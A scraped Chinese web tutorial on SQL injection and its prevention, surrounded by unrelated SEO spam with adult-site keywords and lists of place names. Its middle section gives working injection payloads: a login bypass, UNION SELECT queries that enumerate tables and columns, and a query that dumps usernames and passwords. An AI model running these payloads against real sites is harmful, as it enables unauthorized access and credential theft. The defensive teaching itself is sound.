婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > SQL注入的實現以及防范示例詳解

SQL注入的實現以及防范示例詳解

熱門標簽:江西南昌百應電話機器人 400電話從哪里申請濱州 杭州400電話如何申請的 高德地圖標注商家在哪 機器人電話機創意繪畫 天音通信電話機器人 hbuilder地圖標注 400電話申請怎么看 隨州營銷電話機器人怎么樣

什么是SQL注入

SQL注入是指通過構建特殊的輸入篡改原來的SQL語句達到攻擊者所需的操作。

Sql 注入產生原因

我們訪問動態網頁時往往會向服務器發送請求,服務器向數據訪問層發起 Sql 查詢請求,若驗證通過就會執行 Sql 語句。如果用戶輸入的數據被構造成惡意Sql代碼,如果程序沒有細致地過濾用戶輸入的數據則會使非法數據侵入系統。

登錄案例講解

select * from admin where uname='用戶名' and pwd='密碼'

輸入 'or 1=1 #(–空格或–+或#:注釋掉后面的sql語句)

這時SQL語句變為:select * from admin where uname='' or 1=1 # and pwd='密碼',這時SQL語句永遠成立,繞過登錄。

基于GET方式的SQL注入

通過在URL中修改對應的ID值,為正常數字、大數字、字符(單引號、雙引號、雙單引號、括號)、反斜杠來探測URL中是否有注入點。

可登陸到mituan.zone進行測試

1、' '1'' LIMIT 0,1 ' :多了一個單引號

可猜測SQL語句為:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一個單引號

可猜測SQL語句為:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一個單引號

可猜測SQL語句為:select login_name,password from admin where id = ('id') limit 0,1

4、單引號、括號都不報錯說明被接收的是字符串類型' "1"") LIMIT 0,1 ':多了一個雙引號

可猜測SQL語句為:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判斷字段數

order by n(n為猜測字段數)--+

以案例一為例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜測錯誤時則會報錯

此時探測到有3個字段,用?id=0' union select 1,2,3--+探測到Login_name在第二列,Password在第三列,則第二、三列可利用。

?id=0' union select 1,2,3--+2,3改為user():查看當前MYSQL登錄用戶名,database():查看當前使用MYSQL數據庫名,version():查看當前MYSQL版本,如改為?id=0'union select 1,user(),database()--+ 得到下圖中信息

2、利用union select 聯合查詢,獲取表名。(在使用union select時要將前面的SQL語句報錯)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3、利用union select 聯合查詢,獲取字段名。(以上面查詢到的users表為例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4、利用union select 聯合查詢,獲取字段值。(以上面查詢到的users表為例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a為冒號,用來分隔不同字段的值)

如果是地址欄不能顯示信息的POST形式則可以在對話框中輸入注入語句






這里使用的方法和在地址欄中的輸入一樣,都是先報錯前面的SQL語句再使用union select聯合查詢拿出表中數據

SQL 注入的防范方法

  • 對用戶的輸入進行過濾。如:對用戶的輸入進行校驗,可以通過正則表達式、限制長度、對單引號和雙"-"進行轉換等。
  • 編寫程序時不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
  • 不要直接使用管理員權限的數據庫連接,每個應用使用單獨的且權限有限的數據庫。
  • 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  • 程序的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。

總結

到此這篇關于SQL注入的實現以及防范的文章就介紹到這了,更多相關SQL注入實現及防范內容請搜索腳本之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • Java SQL注入案例教程及html基礎入門
  • MyBatis下SQL注入攻擊的3種方式
  • Mybatis-Plus的應用場景描述及注入SQL原理分析
  • 如何有效防止sql注入的方法
  • Java使用過濾器防止SQL注入XSS腳本注入的實現
  • 實例介紹SQL注入以及如何解決
  • 有效防止sql注入的方法演示
  • 數據庫之SQL注入原理以及過程的簡單介紹

標簽:葫蘆島 石嘴山 沈陽 招商 昆明 保定 鶴崗 常德

巨人網絡通訊聲明:本文標題《SQL注入的實現以及防范示例詳解》,本文關鍵詞  SQL,注入,的,實現,以及,防范,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《SQL注入的實現以及防范示例詳解》相關的同類信息!
  • 本頁收集關于SQL注入的實現以及防范示例詳解的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 平潭县| 远安县| 乌审旗| 通许县| 安义县| 阿坝| 安岳县| 汶上县| 于田县| 林口县| 沙河市| 唐河县| 广德县| 沈阳市| 西充县| 安远县| 延川县| 屏山县| 宣化县| 肇州县| 新兴县| 焉耆| 南丰县| 理塘县| 鄂温| 阿拉善左旗| 怀远县| 宝清县| 城市| 贵州省| 潼南县| 根河市| 波密县| 海林市| 长垣县| 翁源县| 高邑县| 大余县| 靖西县| 天峨县| 德令哈市|